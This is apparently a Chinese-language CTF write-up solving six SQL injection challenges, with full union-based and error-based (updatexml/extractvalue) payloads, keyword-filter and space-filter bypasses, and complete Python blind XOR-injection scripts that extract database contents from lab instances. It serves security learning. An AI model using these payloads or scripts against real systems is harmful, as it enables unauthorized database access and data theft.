Bugku学生成绩查询
题目:
查询框也给出了提示,1,2,3,开始查询试试看,查询到4的时候就已没有信息显示,进行联合查询,使用union关键字。
1.查看有几个字段 ,到五的时候就在没有显示,说明只有五个字段。
1' order by 5 #
2.查看库名,有四个数据库,那我们要查的库肯定是skctf。
id=1' union select 1,1,1,group_concat(distinct table_schema) from information_schema.tables #
3.查表名,利用database函数从当前数据库查表名。
id=1' union select 1,1,1,group_concat(distinct table_name) from information_schema.tables where table_schema=database() #
4.查列名,拿到skctf_flag列名。
id=1' union select 1,1,1,group_concat(distinct column_name) from information_schema.columns where table_name='fl4g' #
5.拿数据
id=1' union select 1,1,1,skctf_flag from skctf.fl4g #
总结: 开始练习SQL注入,难免有错误,希望各位师傅多多指点。
[极客大挑战 2019]EasySQL
万能密码直接过
使用报错注入:使用updatexml()函数,该函数的主要形式如下:
admin' or updatexml(1,sql_injection,1) #
在两个参数1之间进行SQL语句注入
1.查数据库名字
admin' or updatexml(1,concat("~",database()),1) #
2.查表名
admin' or updatexml(1,concat("~",(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) #
3.查字段名
admin' or updatexml(1,concat("~",(select group_concat(column_name) from information_schema.columns where table_name='geekuser')),1) #
4.查询数据
admin' or updatexml(1,concat("~",(select concat(username,"~",password) from geek.geekuser where id=1)),1) #
5.,因为只能显示32个字符继续查询密码
admin' or updatexml(1,concat("~",(select password from geek.geekuser where id=1)),1) #
使用in_fact 和 This_question_is_very_simple 登录,同样也可以拿到flag,其实继续往下查是由四个字段的这里就不继续往下查询了
[极客大挑战 2019]LoveSQL
和上一题一样,这个题目我感觉如果上一题用的就是报错注入的话,这一题就没有太大的必要,开始我们的报错注入。
1.查数据名
admin' or updatexml(1,concat("~",(database())),1) #
2.查表名
admin' or updatexml(1,concat("~",(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) #
3.查字段
admin' or updatexml(1,concat("~",(select group_concat(column_name) from information_schema.columns where table_name="l0ve1ysq1")),1) #
4.查数据
admin' or updatexml(1,concat((select concat_ws("~",id,username,password) from geek.l0ve1ysq1 where id="1")),1) #
我查到前几个的时候,试了账号和密码都不对,逻辑猜想一波,应该是直接爆出flag,后面的id也很多,所以直接用的BP爆破处理(做fuzz test这个也没有过滤掉说明关键字)。
在id=16的情况下发现flag只出现了半边,这里我们需要知道的是就算我把ID和username去掉,flag也是不能完整的显示出来字符数量绝对超过32,这里我们需要使用substr函数来显示。
admin' or updatexml(1,concat((select substr(password,10,40) from geek.l0ve1ysq1 where id="16")),1) #
我们上面获取的flag为:flag{f41f1660-9e89-44ee-a6
下面获取的flag为:e89-44ee-a6d5-7661c0f8b3be}
拼接一下完整的flag为:flag{f41f1660-9e89-44ee-a6d5-7661c0f8b3be}
[极客大挑战 2019]BabySQL
开始还是进行一下模糊测试,挺多东西被过滤。
所以这里我们需要进行双写绕过这个比较常见注入
1.查数据库,发现还是一样的数据库,我估计下面的表估计还是有一样的然后多一个表出来。
admin' oorr updatexml(1,concat(1,"~",database()),1) #
2.查表名,or和select和from和where都要进行双写绕过,information中的or也要双写绕过,双写还是比较容易绕过的。
admin' oorr updatexml(1,concat("~",(sselectelect group_concat(distinct table_name) frfromom infoorrmation_schema.tables wwherehere table_schema like database())),1) #
3.查字段名
admin' oorr updatexml(1,concat("~",(sselectelect group_concat(column_name) frfromom infoorrmation_schema.columns wwherehere table_name like 'b4bsql')),1) #
4.查信息,模糊测试的时候过滤掉了substr函数,那我们就不能完全显示出来这个flag,这个时候不要慌,也是可以绕过的我们用另外两个函数left()和right()函数,一样可以显示。
admin' oorr updatexml(1,concat("~",(sselectelect left(passwoorrd,50) frfromom geek.b4bsql wwherehere id like '8')),1) #
继续查
admin' oorr updatexml(1,concat("~",(sselectelect right(passwoorrd,20) frfromom geek.b4bsql wwherehere id like '8')),1) #
先用left函数看左边的flag,再用right查右边的flag,最后拼接
flag{e77a4e88-5fcc-429b-96aa-c7
b-96aa-c7caab2f9760}
拼接新的成功:flag{e77a4e88-5fcc-429b-96aa-c7caab2f9760}
[极客大挑战 2019]HardSQL
开始也是进行模糊测试,看看过滤了哪些关键词,发现本次过滤,是直接的完全的过滤,不是那种将字符置换为空的那种,然后重要的是空格,在本次环境中也是被过滤了的,绕过的方式也比较简单,使用括号绕过。
1.查库名,一样的库名。
admin123'or(updatexml(1,concat(0x7e,database()),1))#
2.查表名
admin123'or(extractvalue(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like("geek")))))#
3.查字段名,和之前是一样的
admin123'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like("H4rDsq1")))))#
4.查数据名字
admin123'or(extractvalue(1,concat(0x7e,(select(left(password,40))from(geek.H4rDsq1)where(id)like("1")))))#
只查到半边,继续查
admin123'or(extractvalue(1,concat(0x7e,(select(right(password,20))from(geek.H4rDsq1)where(id)like("1")))))#
flag{6698bc07-a4c9-4e3f-8e7d-5b
f-8e7d-5b76d72d5e67}
拼接:flag{6698bc07-a4c9-4e3f-8e7d-5b76d72d5e67}
[极客大挑战 2019]FinalSQL
开始进行模糊测试,看看有哪些过滤,过滤的东西还挺多
分析题目,开始之前的一些注入发现都被过滤,基本的注入都不太可能,那既然如此常规的注入不行,我们就是用盲注的方法解决这个问题。
首先我们发现在点击id=1以及等于2,3,4,5的时候,页面都有正常的回显然后我们继续往下尝试看看页面会有怎么样的反应直接尝试到id=11,发现页面显示出了错误的信息。这个的报错信息需要了解一下导致的原因是我们的语句的语法是正确的,只是内容的不正确导致这个原因,然后我们尝试给id赋值一段随意数字。
可以看到两个的报错是不相同的,下面这个是语句语法的错误导致,所以这里就是我们的一个注入点,使用异或^ 注入。
举几个例子说明一下:
1^1=0
1^0=1
根据上面的例子,我们尝试构造注入语句进行爆破我们所需要的数据库、表和信息。
构造===>1^(SQL_Injection)
语句 | 值 |
---|---|
1^(SQL_Injection) | 0 (此时注入语句的内容为真,网页显示ERROR!!!) |
1^(SQL_Injection) | 1 (此时注入语句的内容为假,网页显示NO! Not this! ) |
直接上脚本爆破数据库名,这里用的是一种二分法的一个思想进行爆破
EXP:
import requests
name = ""
url_buu="http://46a29a43-93ce-4797-9ab1-a060f67bb5fa.node4.buuoj.cn/search.php?id="
for i in range(1,20):
low =32
high=128
mid=int((low+high)/2)
while low<high:
hacker_payload="1^(ascii(substr(database(),%d,1))>%d) #" %(i,mid)
url=url_buu+hacker_payload
s = requests.session()
r = s.get(url)
if "ERROR" in r.text:
low=mid+1
else:
high=mid
mid=int((low+high)/2)
#print (mid,low,high)
if mid == 32: #完全爆破之后,字符为空
break
name = name + (chr(mid))
print (name)
直接上脚本爆破表名,这里用的是一种二分法的一个思想进行爆破
就是把hacker_payload换为:
hacker_payload="1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=('geek')),%d,1))>%d) #" %(i,mid)
EXP:
import requests
name = ""
url_buu="http://46a29a43-93ce-4797-9ab1-a060f67bb5fa.node4.buuoj.cn/search.php?id="
print("开始爆破 .......")
for i in range(1,20):
low =32
high=128
mid=int((low+high)/2)
while low<high:
hacker_payload="1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=('geek')),%d,1))>%d) #" %(i,mid)
url=url_buu+hacker_payload
s = requests.session()
r = s.get(url)
if "ERROR" in r.text:
low=mid+1
else:
high=mid
mid=int((low+high)/2)
#print (mid,low,high)
if mid == 32: #完全爆破之后,字符为空
break
name = name + (chr(mid))
print (name)
直接上脚本爆破列名,这里用的是一种二分法的一个思想进行爆破
就是把hacker_payload换为:
hacker_payload="1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)=('Flaaaaag')),%d,1))>%d) #" %(i,mid)
EXP:
import requests
name = ""
url_buu="http://46a29a43-93ce-4797-9ab1-a060f67bb5fa.node4.buuoj.cn/search.php?id="
print("开始爆破 .......")
for i in range(1,20):
low =32
high=128
mid=int((low+high)/2)
while low<high:
hacker_payload="1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)=('Flaaaaag')),%d,1))>%d) #" %(i,mid)
url=url_buu+hacker_payload
s = requests.session()
r = s.get(url)
if "ERROR" in r.text:
low=mid+1
else:
high=mid
mid=int((low+high)/2)
#print (mid,low,high)
if mid == 32: #完全爆破之后,字符为空
break
name = name + (chr(mid))
print (name)
直接上脚本爆破flag,上面我开始用的Flaaaaag的表进行爆破,发现不行,由换F1naI1y爆出的列名和之前的确实是一样的(还是出现的password)有一点巨坑的就是我开始以为输出的字符数量100以内因该是够的,结果没给我输出完全(废话比较多),后面调整了一下输出的字符数量才拿到flag
就是把hacker_payload换为:
hacker_payload="1^(ascii(substr((select(fl4gawsl)from(geek.F1naI1y)where(id)=('1')),%d,1))>%d) #" %(i,mid)
def baopo_flag():
import requests
name = ""
url_buu="http://32fc1dfa-7103-4516-8fc6-c683a55a28ed.node4.buuoj.cn/search.php?id="
print("开始爆破flag .......")
for i in range(1,1000):
low =32
high=128
mid=int((low+high)/2)
while low<high:
hacker_payload="1^(ascii(substr((select(group_concat(password))from(geek.F1naI1y)),%d,1))>%d) #" %(i,mid)
url=url_buu+hacker_payload
s = requests.session()
r = s.get(url)
if "ERROR" in r.text:
low=mid+1
else:
high=mid
mid=int((low+high)/2)
#print (mid,low,high)
if mid == 32: #完全爆破之后,字符为空
break
name = name + (chr(mid))
print (name)
拿到flag,太难了
总结: 通过这几次的学习,颇有收获,这几题的质量也相当高,考察知识点很多,通过这几道题的练习,学会了盲注和报错注入的一些要点感觉还需继续努力,争取拿下SQL注入。
完整的脚本函数集合:
def baopo_table_schema():
import requests
name = ""
url_buu="http://32fc1dfa-7103-4516-8fc6-c683a55a28ed.node4.buuoj.cn/search.php?id="
print("开始爆破库名.......")
for i in range(1,20):
low =32
high=128
mid=int((low+high)/2)
while low<high:
hacker_payload="1^(ascii(substr(database(),%d,1))>%d) #" %(i,mid)
url=url_buu+hacker_payload
s = requests.session()
r = s.get(url)
if "ERROR" in r.text:
low=mid+1
else:
high=mid
mid=int((low+high)/2)
#print (mid,low,high)
if mid == 32: #完全爆破之后,字符为空
break
name = name + (chr(mid))
print (name)
def baopo_table_name():
import requests
name = ""
url_buu="http://32fc1dfa-7103-4516-8fc6-c683a55a28ed.node4.buuoj.cn/search.php?id="
print("开始爆破表名 .......")
for i in range(1,20):
low =32
high=128
mid=int((low+high)/2)
while low<high:
hacker_payload="1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=('geek')),%d,1))>%d) #" %(i,mid)
url=url_buu+hacker_payload
s = requests.session()
r = s.get(url)
if "ERROR" in r.text:
low=mid+1
else:
high=mid
mid=int((low+high)/2)
#print (mid,low,high)
if mid == 32: #完全爆破之后,字符为空
break
name = name + (chr(mid))
print (name)
def baopo_column_name():
import requests
name = ""
url_buu="http://32fc1dfa-7103-4516-8fc6-c683a55a28ed.node4.buuoj.cn/search.php?id="
print("开始爆破列名 .......")
for i in range(1,100):
low =32
high=128
mid=int((low+high)/2)
while low<high:
hacker_payload="1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)=('F1naI1y')),%d,1))>%d) #" %(i,mid)
url=url_buu+hacker_payload
s = requests.session()
r = s.get(url)
if "ERROR" in r.text:
low=mid+1
else:
high=mid
mid=int((low+high)/2)
#print (mid,low,high)
if mid == 32: #完全爆破之后,字符为空
break
name = name + (chr(mid))
print (name)
def baopo_flag():
import requests
name = ""
url_buu="http://32fc1dfa-7103-4516-8fc6-c683a55a28ed.node4.buuoj.cn/search.php?id="
print("开始爆破flag .......")
for i in range(1,1000):
low =32
high=128
mid=int((low+high)/2)
while low<high:
hacker_payload="1^(ascii(substr((select(group_concat(password))from(geek.F1naI1y)),%d,1))>%d) #" %(i,mid)
url=url_buu+hacker_payload
s = requests.session()
r = s.get(url)
if "ERROR" in r.text:
low=mid+1
else:
high=mid
mid=int((low+high)/2)
#print (mid,low,high)
if mid == 32: #完全爆破之后,字符为空
break
name = name + (chr(mid))
print (name)
baopo_table_schema()
baopo_table_name()
baopo_column_name() #F1naI1y,Flaaaaag
baopo_flag()